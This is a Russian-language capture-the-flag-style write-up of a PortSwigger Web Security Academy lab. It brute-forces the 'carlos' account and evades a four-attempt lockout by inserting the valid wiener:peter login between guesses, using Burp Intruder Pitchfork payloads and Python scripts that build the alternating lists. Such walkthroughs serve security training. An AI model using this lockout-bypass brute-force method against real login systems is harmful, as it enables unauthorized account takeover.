Для решения лабы нужно подобрать пароль учетки carlos. Для входа даны креды от другой учетной записи wiener:peter.

https://0acf002004444315819e8bac00de00b3.web-security-academy.net/

Solution

Для начала зайду в ЛК, чтобы собрать HTTP-запрос для логина.

POST /login HTTP/2
Host: 0acf002004444315819e8bac00de00b3.web-security-academy.net
Cookie: session=ogPofwrZEKbNt7g7PxHC52TnAaOEEabb
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0acf002004444315819e8bac00de00b3.web-security-academy.net/login
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: https://0acf002004444315819e8bac00de00b3.web-security-academy.net
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

username=wiener&password=peter

Попробую перебрать пароли из списка. На этот раз сразу буду делать через Burp Intruder.

POST /login HTTP/2
Host: 0acf002004444315819e8bac00de00b3.web-security-academy.net

username=carlos&password=§passwd§

Начав атаку, я словил блокировку. Она появилась после четырех неверных попыток. Попробую чередовать перебор пароля и корректные данные каждую третью попытку.

IMG

Для этого нужно сгенерить следующий список логинов:

wiener
carlos
carlos
...

А каждый четвертый пароль должен быть peter. Напишу программу на python:

for _ in range(50):
	print('wiener\ncarlos\ncarlos')
wiener
carlos
carlos
wiener
carlos
carlos
wiener
carlos
carlos
wiener
carlos
carlos
wiener
carlos
carlos
wiener
...

Сохраню пароли в файл passwds. Далее сгенерю новый список:

with open('passwds', 'r') as f:
    lines = f.readlines()
    for i, line in enumerate(lines):
        if (i % 2 == 0):
            print('peter')
        print(line, end='')

Получился следующий список:

peter
123456
password
peter
12345678
qwerty
peter
123456789
12345
peter
1234
111111
peter
1234567
dragon
peter
123123
baseball
peter
abc123
football
peter
...

Теперь составлю атаку в Intruder типа Pitchfork. Пейлоад:

POST /login HTTP/2
Host: 0acf002004444315819e8bac00de00b3.web-security-academy.net

username=§login§&password=§passwd§

В качестве 1-го списка вставлю логины. В качестве 2-го - пароли. Также нужно выставить один рабочий поток в Resource Pool:

IMG

Далее запущу атаку. Чтобы получить правильный пароль, отфильтрую ответы по строке carlos и Status code, равному 3xx.

IMG

Зайду в ЛК:

IMG